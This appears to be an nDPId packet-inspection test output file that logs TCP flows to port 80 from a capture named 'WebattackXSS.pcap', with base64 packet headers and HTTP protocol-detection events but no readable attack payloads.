+00445{"flow_id":401,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":232469,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6BD8Et+tc3\/Sp6AScSCD1QAAAgQFtAQCCAoD5U8NATt9mAEDAwc="} +00433{"flow_id":401,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5675,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":234086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rz9AAD4GFpmsEAABwKgKMugQAFBzf9Kn\/BLfroAQAOUi3QAAAQEICgE7fZgD5U8N"} +00432{"flow_id":398,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5678,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":793034,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01ChAAD4G8a+sEAABwKgKMufaAFCvK6yJ8Ffzr4ARAOUJnAAAAQEICgE7fiQD5Uoj"} +00433{"flow_id":398,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5679,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":793230,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vDZAAEAGB6LAqAoyrBAAAQBQ59rwV\/OvryusioARAOMEJwAAAQEICgPlT5kBO34k"} +00432{"flow_id":398,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":794086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01ClAAD4G8a6sEAABwKgKMufaAFCvK6yK8FfzsIAQAOUEJQAAAQEICgE7fiQD5U+Z"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5684,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":402,"flow_packet_id":1,"flow_first_seen":1499347646486,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59422,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":402,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5684,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":486073,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uWhAAD4GDGisEAABwKgKMugeAFCoNce5AAAAAKACchCGmQAAAgQFtAQCCAoBO37RAAAAAAEDAwc="} +00444{"flow_id":402,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":486198,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6B6AVzWvqDXHuqAScSB9RgAAAgQFtAQCCAoD5VBGATt+0QEDAwc="} +00432{"flow_id":402,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":488061,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uWlAAD4GDG+sEAABwKgKMugeAFCoNce6gFc1sIAQAOUcTQAAAQEICgE7ftID5VBG"} +00432{"flow_id":399,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5690,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":793045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tFBAAD4GEYisEAABwKgKMufoAFB3dM2rTUIqJoARAOWKkgAAAQEICgE7fx4D5UtZ"} +00432{"flow_id":399,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5691,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":793244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0erVAAEAGSSPAqAoyrBAAAQBQ5+hNQiomd3TNrIARAOOFWQAAAQEICgPlUJMBO38e"} +00432{"flow_id":399,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5692,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347646,"pkt_ts_usec":795069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tFFAAD4GEYesEAABwKgKMufoAFB3dM2sTUIqJ4AQAOWFVgAAAQEICgE7fx8D5VCT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5696,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":403,"flow_packet_id":1,"flow_first_seen":1499347647733,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59436,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":403,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5696,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":733010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8cdhAAD4GU\/isEAABwKgKMugsAFDFxvHRAAAAAKACchA9qgAAAgQFtAQCCAoBO4AJAAAAAAEDAwc="} +00445{"flow_id":403,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5697,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":733148,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6CyQ1\/Exxcbx0qAScSBnHAAAAgQFtAQCCAoD5VF+ATuACQEDAwc="} +00433{"flow_id":403,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5699,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":734039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cdlAAD4GU\/+sEAABwKgKMugsAFDFxvHSkNfxMoAQAOUGJAAAAQEICgE7gAkD5VF+"} +00432{"flow_id":400,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5702,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":792997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SnVAAD4Ge2OsEAABwKgKMuf2AFDcdDFRjynESoARAOXjmQAAAQEICgE7gBgD5UyY"} +00433{"flow_id":400,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5703,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":793254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lcdAAEAGLhHAqAoyrBAAAQBQ5\/aPKcRK3HQxUoARAOPepQAAAQEICgPlUY0BO4AY"} +00432{"flow_id":400,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347647,"pkt_ts_usec":795042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SnZAAD4Ge2KsEAABwKgKMuf2AFDcdDFSjynES4AQAOXeogAAAQEICgE7gBkD5VGN"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":357,"flow_packet_id":6,"flow_first_seen":1499347573065,"flow_last_seen":1499347578774,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58630,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":357,"flow_packet_id":6,"flow_first_seen":1499347573065,"flow_last_seen":1499347578774,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":358,"flow_packet_id":7,"flow_first_seen":1499347574366,"flow_last_seen":1499347579775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58650,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":358,"flow_packet_id":7,"flow_first_seen":1499347574366,"flow_last_seen":1499347579775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58650,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":359,"flow_packet_id":7,"flow_first_seen":1499347575652,"flow_last_seen":1499347580775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58664,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":359,"flow_packet_id":7,"flow_first_seen":1499347575652,"flow_last_seen":1499347580775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":360,"flow_packet_id":7,"flow_first_seen":1499347578164,"flow_last_seen":1499347583775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58690,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":360,"flow_packet_id":7,"flow_first_seen":1499347578164,"flow_last_seen":1499347583775,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58690,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":361,"flow_packet_id":6,"flow_first_seen":1499347579405,"flow_last_seen":1499347584775,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58704,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":361,"flow_packet_id":6,"flow_first_seen":1499347579405,"flow_last_seen":1499347584775,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58704,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":362,"flow_packet_id":6,"flow_first_seen":1499347580693,"flow_last_seen":1499347585776,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58718,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":362,"flow_packet_id":6,"flow_first_seen":1499347580693,"flow_last_seen":1499347585776,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5715,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":404,"flow_packet_id":1,"flow_first_seen":1499347650289,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59462,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":404,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5715,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":289951,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qjtAAD4GG5WsEAABwKgKMuhGAFAFSiizAAAAAKACchDErAAAAgQFtAQCCAoBO4KIAAAAAAEDAwc="} +00445{"flow_id":404,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5716,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":290110,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6EbKc6N+BUootKAScSD\/tgAAAgQFtAQCCAoD5VP9ATuCiAEDAwc="} +00432{"flow_id":404,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":292884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qjxAAD4GG5ysEAABwKgKMuhGAFAFSii0ynOjf4AQAOWevQAAAQEICgE7gokD5VP9"} +00433{"flow_id":401,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5721,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":794975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0r0BAAD4GFpisEAABwKgKMugQAFBzf9Kn\/BLfroARAOUdbgAAAQEICgE7gwYD5U8N"} +00433{"flow_id":401,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5722,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":795171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i9JAAEAGOAbAqAoyrBAAAQBQ6BD8Et+uc3\/SqIARAOMYAAAAAQEICgPlVHwBO4MG"} +00434{"flow_id":401,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5723,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347650,"pkt_ts_usec":797981,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0r0FAAD4GFpesEAABwKgKMugQAFBzf9Ko\/BLfr4AQAOUX\/QAAAQEICgE7gwcD5VR8"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5727,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":405,"flow_packet_id":1,"flow_first_seen":1499347651555,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59476,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":405,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5727,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":555924,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NDJAAD4GkZ6sEAABwKgKMuhUAFBjE7f2AAAAAKACchDWVQAAAgQFtAQCCAoBO4PEAAAAAAEDAwc="} +00444{"flow_id":405,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5728,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":556034,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6FRdfw4zYxO396AScSASYwAAAgQFtAQCCAoD5VU6ATuDxAEDAwc="} +00432{"flow_id":405,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5731,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":561908,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NDNAAD4GkaWsEAABwKgKMuhUAFBjE7f3XX8ONIAQAOWxaQAAAQEICgE7g8UD5VU6"} +00432{"flow_id":402,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":798921,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uWpAAD4GDG6sEAABwKgKMugeAFCoNce6gFc1sIARAOUXHgAAAQEICgE7hAAD5VBG"} +00432{"flow_id":402,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":799145,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YMdAAEAGYxHAqAoyrBAAAQBQ6B6AVzWwqDXHu4ARAOMR7gAAAQEICgPlVXcBO4QA"} +00432{"flow_id":402,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5735,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347651,"pkt_ts_usec":805864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uWtAAD4GDG2sEAABwKgKMugeAFCoNce7gFc1sYAQAOUR6gAAAQEICgE7hAID5VV3"} +00433{"flow_id":403,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5739,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347652,"pkt_ts_usec":796882,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cdpAAD4GU\/6sEAABwKgKMugsAFDFxvHSkNfxMoARAOUBMQAAAQEICgE7hPsD5VF+"} +00433{"flow_id":403,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5740,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347652,"pkt_ts_usec":797100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0p0JAAEAGHJbAqAoyrBAAAQBQ6CyQ1\/Eyxcbx04ARAOP8PwAAAQEICgPlVnABO4T7"} +00433{"flow_id":403,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347652,"pkt_ts_usec":800831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cdtAAD4GU\/2sEAABwKgKMugsAFDFxvHTkNfxM4AQAOX8PAAAAQEICgE7hPwD5VZw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5748,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":406,"flow_packet_id":1,"flow_first_seen":1499347654065,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59502,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":406,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347654,"pkt_ts_usec":65841,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8q1xAAD4GGnSsEAABwKgKMuhuAFBOzi1kAAAAAKACchBynwAAAgQFtAQCCAoBO4Y4AAAAAAEDAwc="} +00443{"flow_id":406,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5749,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347654,"pkt_ts_usec":65963,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6G55d2lhTs4tZaAScSA1EwAAAgQFtAQCCAoD5VetATuGOAEDAwc="} 